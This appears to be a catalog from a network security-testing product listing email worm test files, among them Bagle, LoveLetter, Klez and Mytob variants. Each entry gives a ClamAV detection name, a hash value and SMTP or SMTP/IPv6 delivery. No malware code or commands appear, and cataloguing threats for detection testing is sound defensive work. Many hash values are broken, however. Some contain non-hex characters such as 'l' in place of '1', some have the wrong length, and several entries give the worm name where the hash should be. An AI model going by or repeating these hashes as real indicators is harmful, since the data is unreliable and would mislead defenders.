Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Scorpion.sco.1d57149c.xml
Executive Description:	Email Virus Email-Worm.Win32.Scorpion.sco
Detailed Description:	This is the email virus Email-Worm.Win32.Scorpion.sco as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Scorpion.sco. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Whitehome.0e5b4f5c_IPv6.xml
Executive Description:	Email Virus Worm.Whitehome (IPv6 Version)
Detailed Description:	This is the email virus Worm.Whitehome as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0e5b4f5c8474dcdba48049fa33b775e3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zaid.2c154c5f.xml
Executive Description:	Email Virus Worm.Zaid
Detailed Description:	This is the email virus Worm.Zaid as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2c154c5f18defc1b08e48b50820a9736. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Maslan.A.6e35636c.xml
Executive Description:	Email Virus Worm.Maslan.A
Detailed Description:	This is the email virus Worm.Maslan.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6e35636cb5156c463f84e2cb101049fb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.88a13860.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 88a13860e90b412b59c5dec80fad7360. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Qoma.e.e.9d4cedb0_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Qoma.e.e (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Qoma.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Qoma.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	WScr.Unsafe.D.59400e67_IPv6.xml
Executive Description:	Email Virus WScr.Unsafe.D (IPv6 Version)
Detailed Description:	This is the email virus WScr.Unsafe.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 59400e67a27e113fb64b3d982bbb8269. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Energy.C.d71b2d51_IPv6.xml
Executive Description:	Email Virus Worm.Energy.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Energy.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d71b2d51ac4b161bd5288ca824fe800. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.VBSWG2.X.41cc548e_IPv6.xml
Executive Description:	Email Virus VBS.VBSWG2.X (IPv6 Version)
Detailed Description:	This is the email virus VBS.VBSWG2.X as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 41cc548e66cfaf53e7a98b569f4b3dld. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Higuy.7b201aee_IPv6.xml
Executive Description:	Email Virus W32.Higuy (IPv6 Version)
Detailed Description:	This is the email virus W32.Higuy as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7b201aee9f576dd90af4fa90c924a257. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Intr.A.95dc66a6.xml
Executive Description:	Email Virus Worm.VBS.Intr.A
Detailed Description:	This is the email virus Worm.VBS.Intr.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 95dc66a63e0b4c951d4e3333928b2fe0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.N.895d5751_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.N (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.N as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 895d5751fd254d86420640392608e10d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.VBSWG.Gen.385962f3_IPv6.xml
Executive Description:	Email Virus VBS.VBSWG.Gen (IPv6 Version)
Detailed Description:	This is the email virus VBS.VBSWG.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 385962f3043cf332ba91c5b55944145b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.a4bdb731.xml
Executive Description:	Email Virus VBS.LoveLetter.D
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a4bdb731e91flc4e96a4b261f580b7a3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lucky.B.434b21e6.xml
Executive Description:	Email Virus Worm.Lucky.B
Detailed Description:	This is the email virus Worm.Lucky.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 434b21e61d2e8d6868e2a01f5be98150. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Yarner.D.2c20d8ff.xml
Executive Description:	Email Virus Worm.Yarner.D
Detailed Description:	This is the email virus Worm.Yarner.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2c20d8ffb6216a856aea7a1fcd711740. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	BDS.Griffin.Srv.7cb4da70_IPv6.xml
Executive Description:	Email Virus BDS.Griffin.Srv (IPv6 Version)
Detailed Description:	This is the email virus BDS.Griffin.Srv as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7cb4da70100ec5a8cab001d3e66ebfab. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mytob.S.2cda519a.xml
Executive Description:	Email Virus Worm.Mytob.S
Detailed Description:	This is the email virus Worm.Mytob.S as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2cda519a199aa9012fd4d7e16fce067a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Anset.B.2ccccfd5_IPv6.xml
Executive Description:	Email Virus Worm.Anset.B (IPv6 Version)

Detailed Description:	This is the email virus Worm.Anset.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2cccfd577fac89ec3e8daca753cd5f7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.MTX.0c4158a6_IPv6.xml
Executive Description:	Email Virus W32.MTX (IPv6 Version)
Detailed Description:	This is the email virus W32.MTX as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c4158a6169d9d3674359a4af4e466c8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.a.17c633c1_IPv6.xml
Executive Description:	Email Virus Worm.MyPics.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.MyPics.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 17c633c13c4b94499d0f987b674702b7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Quocus.e64a7392_IPv6.xml
Executive Description:	Email Virus Worm.Quocus (IPv6 Version)
Detailed Description:	This is the email virus Worm.Quocus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e64a7392204d070e022bcec825489519. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sdan.a.04443ed5_IPv6.xml
Executive Description:	Email Virus Worm.Sdan.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sdan.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 04443ed574905855d43c4251094845e5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcaul.O.c882635e_IPv6.xml
Executive Description:	Email Virus Worm.Alcaul.O (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcaul.O as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c882635ec0dd9a153748adefbcb593. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.E.ecl90c3.xml
Executive Description:	Email Virus Worm.Klez.E
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ecl90c3bb2262bd9cb3179fe106c7b1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Kouds.9e3c3be6_IPv6.xml
Executive Description:	Email Virus Worm.Kouds (IPv6 Version)
Detailed Description:	This is the email virus Worm.Kouds as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9e3c3be6975be786559522e44378f607. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Draft.b.b.0571d54e_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Draft.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Draft.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Draft.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Cazinat.a.a.15cd1169_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Cazinat.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Cazinat.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Cazinat.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Maldal.mal.24b79b36_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Maldal.mal (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Maldal.mal as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Maldal.mal. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Menger.men.c9de93a6.xml

Executive Description:	Email Virus Email-Worm.Win32.Menger.men
Detailed Description:	This is the email virus Email-Worm.Win32.Menger.men as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Menger.men. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Yarner.B.bb088dlc.xml
Executive Description:	Email Virus Worm.Yarner.B
Detailed Description:	This is the email virus Worm.Yarner.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb088dlc281333cdcaa644d7abb4ef27. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.IRC.Sudal.d9c9826b.xml
Executive Description:	Email Virus Worm.IRC.Sudal
Detailed Description:	This is the email virus Worm.IRC.Sudal as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d9c9826bc6ebf4f7744c799203419165. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Higuy.7b201aee.xml
Executive Description:	Email Virus W32.Higuy
Detailed Description:	This is the email virus W32.Higuy as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7b201aee9f576dd90af4fa90c924a257. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Logic.b.b.01208271_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Logic.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Logic.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Logic.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sabak.A.82bcaf48.xml
Executive Description:	Email Virus Worm.Sabak.A
Detailed Description:	This is the email virus Worm.Sabak.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 82bcaf482e8015ca5a5b755a1204e014. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Netav.A.8d56dc69.xml
Executive Description:	Email Virus Worm.Netav.A
Detailed Description:	This is the email virus Worm.Netav.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8d56dc690037fe42056076636971ecb4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.YoursID.f4cclb17_IPv6.xml
Executive Description:	Email Virus Worm.YoursID (IPv6 Version)
Detailed Description:	This is the email virus Worm.YoursID as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f4cclb17617b9cfcf90e73356b8639. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Skybag.A.c9759d00.xml
Executive Description:	Email Virus Worm.Skybag.A
Detailed Description:	This is the email virus Worm.Skybag.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c9759d00f3fd03ledb61b13cla8810d1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Vierika.242c9030.xml
Executive Description:	Email Virus Worm.Vierika
Detailed Description:	This is the email virus Worm.Vierika as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 242c9030e2b77db532537218cf508924. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Naked.da9dba70_IPv6.xml
Executive Description:	Email Virus Worm.Naked (IPv6 Version)
Detailed Description:	This is the email virus Worm.Naked as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: da9dba70de70dc43d6535f2975cecb68d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.VBS.Rowam.A.112c4f5c_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Rowam.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Rowam.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 112c4f5cac1e14787763670b6e426f59. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Waber.wab.b3d31831_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Waber.wab (IPv6 Version)
Detailed Description:	This is the email virus Worm.Win32.Waber.wab as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Waber.wab. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yoxec.6laf70c0_IPv6.xml
Executive Description:	Email Virus Worm.Yoxec (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6laf70c0b33fe7bd39e8da0a8bf6711d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Himeh.38feac70.xml
Executive Description:	Email Virus Worm.VBS.Himeh
Detailed Description:	This is the email virus Worm.VBS.Himeh as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 38feac70c16cb209ble5d1860345f057. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.e420cc7e_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e420cc7e10ec15d50b2045644ff70337. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Ereal.d79675c6_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Ereal (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Ereal as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d79675c65c94e6efd3af14cad5810b3b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Magistr.B6.ade4acfb.xml
Executive Description:	Email Virus W32.Magistr.B6
Detailed Description:	This is the email virus W32.Magistr.B6 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ade4acfb6cale7737f6167f104d4986a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Stration.AL-1.4988ef8f.xml
Executive Description:	Email Virus Worm.Stration.AL-1
Detailed Description:	This is the email virus Worm.Stration.AL-1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4988ef8f16b40fc96f0bbe410df30702. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Hybris.C.6dac223b_IPv6.xml
Executive Description:	Email Virus W32.Hybris.C (IPv6 Version)
Detailed Description:	This is the email virus W32.Hybris.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6dac223b7b1748210328ce4a2299dfce. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	BAT.Ioana.6d7e6413_IPv6.xml
Executive Description:	Email Virus BAT.Ioana (IPv6 Version)
Detailed Description:	This is the email virus BAT.Ioana as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6d7e6413225aFc7829231c7880c95371. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bindal.a.ebf478d4.xml
Executive Description:	Email Virus Worm.Bindal.a
Detailed Description:	This is the email virus Worm.Bindal.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ebf478d4e588fe8718939c9618a67b81. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.VBS.Yang.yan.afc8fa31.xml
Executive Description:	Email Virus Email-Worm.VBS.Yang.yan
Detailed Description:	This is the email virus Email-Worm.VBS.Yang.yan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Yang.yan. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Unis.c.c.71117908_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Unis.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Unis.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Unis.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lovgate.AE.e64547e9_IPv6.xml
Executive Description:	Email Virus Worm.Lovgate.AE (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lovgate.AE as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e64547e952800a8f78838d6f2552e6b1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Dagli.dag.774192de_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Dagli.dag (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Dagli.dag as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Dagli.dag. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Goofy.a440d4c7.xml
Executive Description:	Email Virus Worm.Goofy
Detailed Description:	This is the email virus Worm.Goofy as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a440d4c778f8a81156de1def5fb5ee6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Timofonica.C.97537e23.xml
Executive Description:	Email Virus Worm.Timofonica.C
Detailed Description:	This is the email virus Worm.Timofonica.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 97537e239b95c8ba7828a5742414d4dbd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Neight.nei.f2f85781.xml
Executive Description:	Email Virus Email-Worm.Win32.Neight.nei
Detailed Description:	This is the email virus Email-Worm.Win32.Neight.nei as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Neight.nei. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Netsup.A.e20439f1.xml
Executive Description:	Email Virus Worm.Netsup.A
Detailed Description:	This is the email virus Worm.Netsup.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e20439f128959798ae00f3257ab09aca. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Hanged.490dbb43.xml
Executive Description:	Email Virus Worm.Hanged
Detailed Description:	This is the email virus Worm.Hanged as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 490dbb430f8f27af102c06a635032d78. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Godzilla.god.b1fa0612.xml
Executive Description:	Email Virus Email-Worm.VBS.Godzilla.god
Detailed Description:	This is the email virus Email-Worm.VBS.Godzilla.god as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Godzilla.god. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lovgate.Y.068ab7af_IPv6.xml
Executive Description:	Email Virus Worm.Lovgate.Y (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lovgate.Y as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 068ab7aff165eaf4a6b5d1f5efc5779d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-1.58f05e95_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 58f05e9519b3bd825fd6af936f4b2aed. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Xanax.e.e.02506b10.xml
Executive Description:	Email Virus Email-Worm.Win32.Xanax.e.e
Detailed Description:	This is the email virus Email-Worm.Win32.Xanax.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Xanax.e.e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Petik.I.8781b9a7.xml
Executive Description:	Email Virus Worm.Petik.I
Detailed Description:	This is the email virus Worm.Petik.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8781b9a791c0c144e97a466486f6ef33. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Alcaul.b.b.eec5778a_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Alcaul.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Alcaul.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Alcaul.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lovgate.AH.e62f2456_IPv6.xml
Executive Description:	Email Virus Worm.Lovgate.AH (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lovgate.AH as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e62f24566081231484ff3791eb59bdf6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Lafon.d.d.1080bf86.xml
Executive Description:	Email Virus Email-Worm.Win32.Lafon.d.d
Detailed Description:	This is the email virus Email-Worm.Win32.Lafon.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Lafon.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Imitator.64761e6b_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Imitator (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Imitator as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 64761e6b6994e0ac577fa4c049cc3be1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.3D-Stars.1.d7387686.xml
Executive Description:	Email Virus Worm.3D-Stars.1
Detailed Description:	This is the email virus Worm.3D-Stars.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d738768613c52557157d90c701cecc5e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gaggl.b552e8e4_IPv6.xml
Executive Description:	Email Virus Worm.Gaggl (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gaggl as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b552e8e455c6918f5b4760b5cd03abb2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Scary.b4978dle_IPv6.xml
Executive Description:	Email Virus Worm.Scary (IPv6 Version)
Detailed Description:	This is the email virus Worm.Scary as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b4978dle7542eafdc7b3908a5f45b8a6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Nothing.1fe97570.xml
Executive Description:	Email Virus Worm.VBS.Nothing
Detailed Description:	This is the email virus Worm.VBS.Nothing as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1fe97570197438787d086f5f6a8e044d. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BK.cld89319.xml
Executive Description:	Email Virus Worm.LoveLetter.BK
Detailed Description:	This is the email virus Worm.LoveLetter.BK as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cld89319d1c6e4b77bf53ce33f131b6c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fbound.C.638e2c92.xml
Executive Description:	Email Virus Worm.Fbound.C
Detailed Description:	This is the email virus Worm.Fbound.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 638e2c92260bdcl4c6e41fd659a41ab7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.dl4a5a2c.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dl4a5a2c616f697aa9070f79e2c07d0d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Enviar.7e2f37ef.xml
Executive Description:	Email Virus Worm.Enviar
Detailed Description:	This is the email virus Worm.Enviar as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7e2f37ef4c3ac91b50c21524ldedbl69. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Migrate.9a6f9d08.xml
Executive Description:	Email Virus Worm.Migrate
Detailed Description:	This is the email virus Worm.Migrate as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9a6f9d08316749c36598blb75e0e4256. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Zimac.zim.ca0e8fde.xml
Executive Description:	Email Virus Email-Worm.VBS.Zimac.zim
